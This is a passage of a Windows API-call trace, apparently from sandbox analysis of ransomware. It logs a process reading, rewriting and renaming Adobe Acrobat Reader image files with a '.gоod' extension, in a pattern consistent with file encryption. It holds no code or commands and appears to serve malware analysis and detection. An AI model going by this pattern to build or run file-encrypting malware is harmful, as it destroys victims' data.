lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0115.725] CloseHandle (hObject=0x7dc) returned 1 [0115.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0115.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0115.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0115.725] GetFileType (hFile=0x7dc) returned 0x1 [0115.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0115.725] GetFileType (hFile=0x7dc) returned 0x1 [0115.725] ReadFile (in: hFile=0x7dc, lpBuffer=0x3972bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3972bc8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0116.550] CloseHandle (hObject=0x7dc) returned 1 [0116.550] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0116.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0116.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0116.550] GetFileType (hFile=0x7dc) returned 0x1 [0116.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0116.550] GetFileType (hFile=0x7dc) returned 0x1 [0116.550] WriteFile (in: hFile=0x7dc, lpBuffer=0x3305f40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3305f40*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0116.550] CloseHandle (hObject=0x7dc) returned 1 [0116.551] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0116.551] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif.gоod", lpFilePart=0x0) returned 0x6c [0116.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0116.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x41ae4b4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c)) returned 1 [0116.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0116.551] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif.gоod")) returned 1 [0116.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", lpFilePart=0x0) returned 0x6c [0116.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0116.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png"), fInfoLevelId=0x0, lpFileInformation=0x34e94d0 | out: lpFileInformation=0x34e94d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238)) returned 1 [0116.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0116.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", lpFilePart=0x0) returned 0x6c [0116.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0116.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0116.556] GetFileType (hFile=0x7dc) returned 0x1 [0116.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0116.556] GetFileType (hFile=0x7dc) returned 0x1 [0116.556] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x238 [0116.556] ReadFile (in: hFile=0x7dc, lpBuffer=0x34e9a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x34e9a60*, lpNumberOfBytesRead=0x1fdec3e8*=0x238, lpOverlapped=0x0) returned 1 [0116.557] CloseHandle (hObject=0x7dc) returned 1 [0116.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", lpFilePart=0x0) returned 0x6c [0116.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0116.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0116.842] GetFileType (hFile=0x768) returned 0x1 [0116.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0116.842] GetFileType (hFile=0x768) returned 0x1 [0116.842] WriteFile (in: hFile=0x768, lpBuffer=0x34e45e8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x34e45e8*, lpNumberOfBytesWritten=0x1fdec2f8*=0x240, lpOverlapped=0x0) returned 1 [0116.843] CloseHandle (hObject=0x768) returned 1 [0116.843] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png", lpFilePart=0x0) returned 0x6c [0116.843] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png.gоod", lpFilePart=0x0) returned 0x71 [0116.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0116.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x41db97ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0116.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0116.843] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\japanese_over.png.gоod")) returned 1 [0116.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", lpFilePart=0x0) returned 0x6c [0116.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0116.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png"), fInfoLevelId=0x0, lpFileInformation=0x34e5968 | out: lpFileInformation=0x34e5968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4)) returned 1 [0116.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0116.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", lpFilePart=0x0) returned 0x6c [0116.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0116.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0116.845] GetFileType (hFile=0x768) returned 0x1 [0116.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0116.845] GetFileType (hFile=0x768) returned 0x1 [0116.845] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x7e4 [0116.845] ReadFile (in: hFile=0x768, lpBuffer=0x34e64a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x34e64a8*, lpNumberOfBytesRead=0x1fdec3e8*=0x7e4, lpOverlapped=0x0) returned 1 [0116.846] CloseHandle (hObject=0x768) returned 1 [0117.078] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", lpFilePart=0x0) returned 0x6c [0117.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0117.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.080] GetFileType (hFile=0x7ec) returned 0x1 [0117.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0117.080] GetFileType (hFile=0x7ec) returned 0x1 [0117.080] WriteFile (in: hFile=0x7ec, lpBuffer=0x33cea20*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x33cea20*, lpNumberOfBytesWritten=0x1fdec2f8*=0x7f0, lpOverlapped=0x0) returned 1 [0117.081] CloseHandle (hObject=0x7ec) returned 1 [0117.081] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png", lpFilePart=0x0) returned 0x6c [0117.081] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png.gоod", lpFilePart=0x0) returned 0x71 [0117.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0117.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x41ff5b0a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0117.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0117.081] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil.png.gоod")) returned 1 [0117.082] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0117.082] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x33cfda0 | out: lpFileInformation=0x33cfda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee)) returned 1 [0117.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0117.792] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0117.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.792] GetFileType (hFile=0x768) returned 0x1 [0117.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0117.792] GetFileType (hFile=0x768) returned 0x1 [0117.792] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0117.792] ReadFile (in: hFile=0x768, lpBuffer=0x34db518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x34db518*, lpNumberOfBytesRead=0x1fdec488*=0xee, lpOverlapped=0x0) returned 1 [0117.795] CloseHandle (hObject=0x768) returned 1 [0117.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0117.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.796] GetFileType (hFile=0x768) returned 0x1 [0117.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0117.796] GetFileType (hFile=0x768) returned 0x1 [0117.796] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x10ee [0117.796] WriteFile (in: hFile=0x768, lpBuffer=0x34deb08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x34deb08*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0117.796] CloseHandle (hObject=0x768) returned 1 [0117.796] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0117.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.796] GetFileType (hFile=0x768) returned 0x1 [0117.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0117.796] GetFileType (hFile=0x768) returned 0x1 [0117.796] ReadFile (in: hFile=0x768, lpBuffer=0x34e0e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34e0e28*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0117.941] CloseHandle (hObject=0x768) returned 1 [0117.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0117.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\large_trefoil_2x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.941] GetFileType (hFile=0x768) returned 0x1 [0117.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0117.941] GetFileType (hFile=0x768) returned 0x1 [0117.941] WriteFile (in: hFile=0x768, lpBuffer=0x338e5f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x338e5f8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0117.941] CloseHandle (hObject=0x768) returned 1 [0117.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png", lpFilePart=0x0) returned 0x6f [0117.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png.gоod", lpFilePart=0x0) returned 0x74 [0117.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0117.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 